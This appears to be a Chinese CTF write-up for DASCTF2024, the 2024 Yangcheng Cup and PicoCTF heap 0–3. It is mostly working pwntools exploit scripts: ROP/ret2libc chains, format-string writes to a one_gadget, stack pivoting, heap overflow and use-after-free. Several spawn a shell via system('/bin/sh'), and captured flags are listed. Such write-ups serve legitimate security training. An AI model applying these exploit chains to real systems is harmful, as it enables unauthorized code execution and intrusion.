payload = b'\x00' * (0x20 + 0x8) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(csu_rear) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(1025) + p64(bss) + p64(csu_head) + p64(0)*7 + p64(read_plt) + p64(start)
p.send(payload)
sleep(1)
p.sendline(p64(ret))
sleep(1)
p.sendline(b'a'*1024)
sleep(1)

payload = b'\x00' * (0x50 + 0x8) + p64(vuln)
p.send(payload)

payload = b'\x00' * (0x20 + 0x8)
payload += p64(pop_rdi) + p64(bss) + p64(puts_plt) + p64(start)
p.send(payload)

leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
success('libcbase ' + hex(libc_base))
payload = b'\x00' * (0x50 + 0x8) + p64(vuln)
p.send(payload)

system = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload = b'\x00' * (0x20 + 0x8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.send(payload)

p.interactive()

DASCTF2024 暑期挑战赛

springboard

非栈上格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('libc.so.6')

p.recvuntil(b"Please enter a keyword")
p.sendline(b"%3$p-%6$p")

p.recvuntil(b"0x")
leak1 = int(p.recv(12), 16)
libc_base = leak1 - 0xf7360
log.info("libc base:"+hex(libc_base))

p.recvuntil(b"0x")
leak2 = int(p.recv(12), 16)
libc_start_main_240 = leak2 - 0xd8
log.info("__libc_start_main+240:"+hex(libc_start_main_240))

one_gadget = libc_base + 0xf1247

p.sendlineafter(b'Please enter a keyword','%'+str(libc_start_main_240&0xffff)+'c%11$hn')
p.sendlineafter(b'Please enter a keyword', '%' + str(one_gadget & 0xffff) + 'c%37$hn')
p.sendlineafter(b'Please enter a keyword', '%' + str((libc_start_main_240 + 2) & 0xffff) + 'c%11$hn')
p.sendlineafter(b'Please enter a keyword', '%' + str((one_gadget >> 16) & 0xff) + 'c%37$hhn')

p.interactive()

2024年“羊城杯”粤港澳大湾区网络安全大赛

pstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.log_level = 'debug'
elf = ELF('./pwn')
p = remote("139.155.126.78",12345)
libc = ELF('./libc.so.6')
# gdb.attach(p, "b *0x4006DD")

start = 0x0000000000400540
pop_rdi = 0x0000000000400773
ret = 0x0000000000400506
leave_ret = 0x00000000004006db
bss = 0x0000000000601230
bss_2 = 0x0000000000601830
read_addr = 0x00000000004006C4

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

p.recvuntil(b'Can you grasp this little bit of overflow?')
payload = 0x30 * b"a" + p64(bss) + p64(read_addr)
p.send(payload)
padding = b"lea_ret\x00"
payload = padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start)
payload = payload.ljust(0x30, b'\x00')
payload += p64(bss - 0x30)+p64(leave_ret)
p.send(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
log.info("libc base:"+hex(libc_base))
log.info("bin_sh:"+hex(bin_sh))
log.info("system:"+hex(system))

p.recvuntil(b'Can you grasp this little bit of overflow?')
payload = 0x30 * b"a" + p64(bss_2) + p64(read_addr)
p.send(payload)
payload = padding + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
payload = payload.ljust(0x30, b'\x00')
payload += p64(bss_2 - 0x30)+p64(leave_ret)
p.send(payload)

p.interactive()

PicoCTF

heap 0

题目判断如果safe_var!="bico"则输出flag,给了往input_data输入的权限,往下输入数据覆盖safe_var即可,注意保持原来safe_var大小不变。safe_var后面数据可以任意填写,这里我填写b"pico"覆盖。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.update(arch='amd64', os='linux',log_level='debug')

p = remote("tethys.picoctf.net","50758")
# gdb.attach(p)

p.sendlineafter(b'Enter your choice: ', b"2")
p.sendlineafter(b"Data for buffer: ",cyclic(3*8)+p64(0x21)+b"pico")
p.sendlineafter(b'Enter your choice: ', b"4")

p.interactive()

picoCTF{my_first_heap_overflow_e4c92a78}

heap 1

同heap 0

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.update(arch='amd64', os='linux',log_level='debug')

p = remote("tethys.picoctf.net","58483")
# gdb.attach(p)

p.sendlineafter(b'Enter your choice: ', b"2")
p.sendlineafter(b"Data for buffer: ",cyclic(3*8)+p64(0x21)+b"pico")
p.sendlineafter(b'Enter your choice: ', b"4")

p.interactive()

picoCTF{starting_to_get_the_hang_e9fbcea5}

heap 2

往x写入win函数地址,再通过choice 4执行: ((void (*)(void))*(int *)x)(); 得到flag

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.update(arch='amd64', os='linux',log_level='debug')

p = process("chall")
# gdb.attach(p)

p.sendlineafter(b'Enter your choice: ', b"2")
p.sendlineafter(b"Data for buffer: ",cyclic(3*8)+p64(0x21)+p64(0x4011A0))
p.sendlineafter(b'Enter your choice: ', b"4")

p.interactive()

picoCTF{and_down_the_road_we_go_91218226}

heap 3

释放原来的x块,再分配一个新块,利用use after free的原理,对x->flag位置的数据覆写为pico,校验得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.update(arch='amd64', os='linux',log_level='debug')

p = remote("tethys.picoctf.net","55193")
# gdb.attach(p)

p.sendlineafter(b'Enter your choice: ', b"5") # free
p.sendlineafter(b'Enter your choice: ', b"2") # allocate
p.sendlineafter(b'Size of object allocation: ', b"36") # size
p.sendlineafter(b'Data for flag: ', cyclic(0x18)+b"\x00"*6+b"pico") # overwrite data
p.sendlineafter(b'Enter your choice: ', b"3") # check
p.sendlineafter(b'Enter your choice: ', b"4") # win

p.interactive()

picoCTF{now_thats_free_real_estate_a11cf359}